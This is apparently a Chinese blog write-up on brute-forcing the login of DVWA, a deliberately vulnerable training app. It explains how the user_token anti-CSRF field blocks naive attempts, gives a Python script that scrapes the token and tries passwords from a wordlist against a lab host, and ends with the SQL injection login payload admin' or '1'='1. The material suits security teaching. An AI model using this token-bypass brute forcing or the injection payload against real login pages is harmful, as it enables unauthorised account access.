最近听人说爆破DVWA的登陆页面没有chen成功,由于自己就尝试了一番,发现了点有趣的东西。
我的DVWA的登陆名师admin/password,可以看到,就算是正确的登陆名与密码也无法爆破成功,一直都是302
(
301 redirect: 301 代表永久性转移(Permanently Moved)
302 redirect: 302 代表暂时性转移(Temporarily Moved )
)
为什么会爆破不成功了?对,就是dius第一张图中红色方框中的user_token
user_token
它的职责是保护用户的用户名及密码多次提交,以防密码泄露。
如果接口需要用户登录,其访问流程如下:
1、用户提交“用户名”和“密码”,实现登录(条件允许,这一步最好走https);
2、登录成功后,服务端返回一个 user_token,生成规则参考如下:
服务端用数据表维护user_token的状态,表设计如下:
字段名 |
字段类型 |
注释 |
user_id |
int |
用户ID |
user_token |
varchar(36) |
用户token |
expire_time |
int |
过期时间(Unix时间戳) |
(注:只列出了核心字段,其它的再扩展吧!!!)
服务端生成 user_token 后,返回给客户端(自己存储),客户端每次接口请求时,如果接口需要用户登录才能访问,则需要把 user_id 与 user_token 传回给服务端,服务端接受到这2个参数后,需要做以下几步:
1、检测 api_token的有效性;
2、删除过期的 user_token 表记录;
3、根据 user_id,user_token 获取表记录,如果表记录不存在,直接返回错误,如果记录存在,则进行下一步;
4、更新 user_token 的过期时间(延期,保证其有效期内连续操作不掉线);
5、返回接口数据;
怎么绕过呢?可以简单写一个python脚本,从html页面抓取user_token
from bs4 import BeautifulSoup
import urllib2
header={ 'Host': '192.168.153.130',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"
def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.form.input.input.input.input["value"] #get the user_token
return user_token
user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break
get_token的功能是通过python的BeautifulSoup库从html页面中抓取user_token的值,为了方便展示,这里设置只尝试10次。
这样就可以顺利爆破DVWA的登陆页面了,这才是DVWA提供的爆破模块
这里分享两个万能密码,当然只在low级别有用,查看源码
Brute Force Source
因此可以构造语句为: admin' or '1'='1 因此可以构造语句为:
|
欢迎各位大佬构造不同的万能密码来与小弟交流,万分感谢